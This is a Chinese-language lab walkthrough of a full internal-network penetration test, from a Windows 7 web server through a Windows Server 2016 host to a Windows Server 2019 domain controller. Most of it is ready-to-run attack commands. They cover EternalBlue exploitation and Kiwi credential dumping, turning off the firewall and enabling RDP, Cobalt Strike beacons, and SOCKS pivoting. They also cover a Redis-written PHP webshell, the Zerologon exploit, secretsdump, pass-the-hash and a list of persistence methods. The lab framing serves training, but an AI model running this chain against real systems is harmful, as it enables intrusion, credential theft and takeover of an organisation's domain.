一.内网渗透介绍:
内网渗透是指攻击者在通过外网打点、钓鱼、漏洞利用等方式突破边界,获得内网第一台主机权限后,在内网环境中开展信息探测、权限提升、凭证窃取与横向移动,逐步渗透至不同网段与核心服务器,最终控制域控、核心数据库等关键资产,实现对内网整体掌控的完整攻击过程。
二.环境准备
1.本次内网渗透实验环境为一台Kali攻击机与三台域环境主机:Windows 7作为Web服务器提供打点入口,Windows Server 2016作为域内中间机,Windows Server 2019作为域控制器;实验前提已知Web服务器(Win7)IP地址,后续将以此为突破口,完成从边界打点、内网信息收集、横向移动到最终控制域控的完整渗透流程。

三.操作步骤
1.获取Web服务器(Win7)控制权,完成初始打点
1.1. 记录 Web 服务器(Win7)IP 地址

1.2.执行端口扫描命令,探测 Win7 主机开放端口及运行服务
namep ip地址

1.3.执行启动msf命令
msfconsole -q # -q 是静默运行的意思

1.4.使用 db_nmap 对 Win7 主机进行端口与服务探测(执行该操作前,需先启动 Metasploit 并完成数据库初始化,确保db_nmap可正常调用),并发现永恒之蓝漏洞
db_nmap -sV -A [Win7_IP地址]

1.5.在 Metasploit 中搜索 MS17-010(永恒之蓝)漏洞利用模块
search MS17-010

1.6.选择 MS17-010 永恒之蓝漏洞利用模块并查看配置参数
use 0
options

1.7.配置永恒之蓝漏洞利用模块目标地址并执行漏洞利用
set rhosts [Win7_IP地址]
run

1.8.成功获取 Win7 主机 Meterpreter 会话后,验证当前权限为 SYSTEM,直接完成权限获取,无需提权

1.9.在 Meterpreter 会话中加载 Kiwi 模块并导出目标主机凭证信息
load kiwi
creds_all

1.10.成功导出 Win7 主机用户凭证信息

1.11.在 Win7 主机 Shell 中关闭防火墙并开启远程桌面服务
# 进入目标主机CMD Shell
shell
# 关闭Windows所有网络配置文件的防火墙
netsh advfirewall set allprofiles state off
# 开启远程桌面服务(修改注册表允许远程连接)
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

1.12.远程连接win7

1.13.输入之前搜集到的密码

1.14.连接成功

1.15.在 Kali 攻击机中启动 Cobalt Strike 团队服务器
# 进入Cobalt Strike 4.8根目录
cd CS4.8
# 进入Server服务端目录
cd Server
# 启动团队服务器([Kali_IP]替换为攻击机实际IP,test为连接密码)
./teamserver [Kali_IP] test

1.16.启动Cobalt Strike客户端

1.17.造一个win7的监听

1.18.造一个木马 ,win7是64位的所以木马也选择64位

1.19.将木马放入win7

1.20.远程双击木马上线并更改回连间隔位1秒

1.21.利用插件提下权(做好win7信息搜集,查看哪个提权方式未被打补丁)

1.22.提权成功后同样更改回连间隔

2.获取 Win2016 中间机控制权
2.1.在 Cobalt Strike Beacon 会话中执行ipconfig,获取 Win7 主机网络配置信息
shell ipconfig

2.2.对win7进行下简单的信息搜集

2.3.定位 Win2016 中间机(IP:10.0.20.99)

2.4.通过 Cobalt Strike 以 Win7 主机为跳板,执行内网端口扫描

2.5.扫描到6379端口
6379 端口是Redis 数据库服务的默认监听端口。Redis 是一款开源的高性能内存型键值数据库,凭借极快的读写速度,广泛用于缓存、分布式锁、会话存储等场景。
从渗透测试视角来看,6379 端口开放是典型的高风险入口:若 Redis 存在未授权访问(无密码、未限制访问 IP),攻击者可直接通过该端口连接服务,执行任意命令,常见利用方式包括写入 Webshell 获取网站权限、植入计划任务实现远程代码执行、窃取敏感数据等;即便设置了密码,弱口令也极易被爆破,进而接管服务与服务器权限,是内网横向渗透中常见的突破口。

2.6.在 Cobalt Strike 中配置 socks 代理

2.7.编辑 Proxychains 配置文件,配置 Cobalt Strike SOCKS 代理
sudo vim /etc/proxychains.conf

2.8.在 Proxychains 配置文件中添加 SOCKS 代理规则
[ProxyList]
socks4 127.0.0.1 1080

2.9.通过 Proxychains 启动 Firefox 浏览器,走 CS SOCKS 代理访问内网资源
proxychains firefox

2.10.验证是否穿透成功

2.11.通过 Proxychains 代理,使用 Dirb 工具扫描 Win2016 中间机的 Web 目录(该操作通过 Proxychains 将 Dirb 的扫描流量转发至 Cobalt Strike SOCKS 代理,依托已控制的 Win7 主机作为内网跳板,实现 Kali 攻击机对隔离内网 Win2016 主机的 Web 目录扫描,用于发现敏感路径、后台入口等可利用资源,是内网渗透中 "外网机器访问内网资源" 的标准操作流程。)
proxychains dirb http://10.0.20.99

2.12.通过扫描发现phpinfo

2.13.从 phpinfo 页面获取 Win2016 主机 Web 服务的网站根目录

2.14.通过 Redis 未授权访问,在 Win2016 网站根目录写入 PHP Webshell
# 1. 通过Proxychains代理连接Win2016的Redis服务
proxychains redis-cli -h 10.0.20.99
# 2. 修改Redis工作目录为网站根目录
config set dir "C:/phpStudy/PHPTutorial/WWW/"
# 3. 设置RDB文件名,即要生成的Webshell文件名
config set dbfilename tx.php
# 4. 写入PHP一句话木马
set 1 "<?php @eval($_POST['tx']);?>"
# 5. 保存配置,生成Webshell文件
save

2.15.在蚁剑中打开代理设置界面,为连接内网 Webshell 配置代理

2.16.在蚁剑中配置 SOCKS4 代理,实现内网 Webshell 连接(记得点击保存否则会失败)

2.17.在蚁剑中添加 Win2016 主机的 PHP Webshell,成功建立连接

2.18.在 Win2016 主机 Webshell 终端执行whoami,验证权限
whoami

2.19.在 Cobalt Strike 中为 Win7 Beacon 配置「转发上线」,为 Win2016 主机建立 Beacon 会话做准备

2.20.生成对应监听器的 x64 无阶段 Beacon 木马

2.21.创建对应win2016监听器的木马,同样是x64(选择带s的)

2.22.利用蚁剑上传木马

2.23.在 Win2016 主机蚁剑终端执行 4444.exe,通过 Win7 跳板完成 CS Beacon 上线

2.24.更改回连(并且一上线就是system不需要提权)

3.横向渗透拿下域控(域主)权限
3.1.在 Win2016 Beacon 中执行net time /domain,定位域控(域主)主机
shell net time /domain

3.2.对win2016进行下简单的信息搜集

3.3.发现Win2016有新的ip地址,推测与域主相连

3.4.搜集出域主的ip信息并且发现域控名字是win2019,推测该系统为win2019

3.5.在 Kali 中进入 Impacket 工具目录及 CVE-2020-1472 漏洞利用目录,为域控提权做准备
Impacket 工具目录下的 CVE-2020-1472 漏洞利用目录,是为域控提权做前置准备:Impacket 作为 Windows 域渗透的行业标准工具集,原生集成了 CVE-2020-1472(Zerologon,零登录)这类域控高危漏洞的成熟利用脚本,且 Kali 环境原生支持、开箱即用,为漏洞利用提供了稳定可靠的工具支撑;已通过信息搜集确定域控主机为 Windows Server 2019,该系统恰好处于 CVE-2020-1472(Zerologon)漏洞的影响范围内。选择此漏洞是因为它利用条件极低,仅需域控机器名即可发起攻击,无需任何账号密码或现有权限,能够直接重置域控计算机账户密码并获取 SYSTEM 最高权限,实现无凭据拿下域控,是当前环境下最直接、最高效的域控提权方式。
cd impacket
cd CVE-2020-1472

3.6.再次进行代理转发

3.7.记住代理转发的端口域sccks的版本

3.8.在Kali的Proxychains代理配置文件中添加代理条目时,**需填写Kali本机IP地址而非127.0.0.1**:此前填写127.0.0.1仅为本地测试简化配置,若两条代理均使用127.0.0.1会形成本地回环,导致流量无法正常转发、内网穿透彻底失效;因此需将第二条代理的地址配置为Kali真实IP,确保流量通过多级跳板正常转发至内网目标主机,保障后续Impacket等工具的域控渗透操作顺利执行。

3.9.通过 Proxychains 多级代理执行 CVE-2020-1472(Zerologon)漏洞利用,成功重置域控机器账户密码
# 执行命令
proxychains python3 cve-2020-1472-exploit.py WIN2019 10.0.10.110

3.10.通过 Proxychains 代理执行 Impacket 的 secretsdump.py,以空密码转储域控所有凭证
proxychains env PYTHONPATH=. python3 examples/secretsdump.py -ts -no-pass "vulntarget.com/WIN2019\$@10.0.10.110"

3.11.通过 Proxychains 代理执行 Impacket 的 smbexec.py,使用域管理员 NTLM 哈希登录域控,获取 SYSTEM 权限交互式 Shell
proxychains env PYTHONPATH=. python3 examples/smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15 Administrator@10.0.10.110

3.12.在域控半交互式 Shell 中执行whoami/ipconfig,验证 SYSTEM 权限与目标主机身份

3.13.在成功获取域控SYSTEM最高权限后,通过Mimikatz权限维持、注册表开机自启动、计划任务持久化、系统服务持久化、WMI事件触发持久化、域管理员隐藏账户等多种权限维持手段,实现对域控及整个域环境的长期隐蔽控制,完成本次渗透测试的权限闭环,其中Mimikatz相关权限维持操作详见下方链接:
总结:
本次渗透测试以外网Win7主机为初始入口,通过多级SOCKS代理穿透内网,利用Redis未授权访问漏洞拿下Win2016应用服务器SYSTEM权限,完成内网信息搜集并定位Win2019域控后,借助CVE-2020-1472(Zerologon)漏洞无凭证重置域控机器账户密码,结合Impacket工具转储域管理员NTLM哈希,通过哈希传递获取域控SYSTEM最高权限,最终通过Mimikatz黄金/白银票据、注册表开机自启动、计划任务(Schtasks)持久化、系统服务(Service)持久化、WMI事件触发持久化、域管理员隐藏账户等手段完成权限维持,完整实现了从外网单点突破、内网横向渗透到域控权限获取、全域控制的全链路渗透,全面验证了目标网络从边界到域内的纵深防御短板。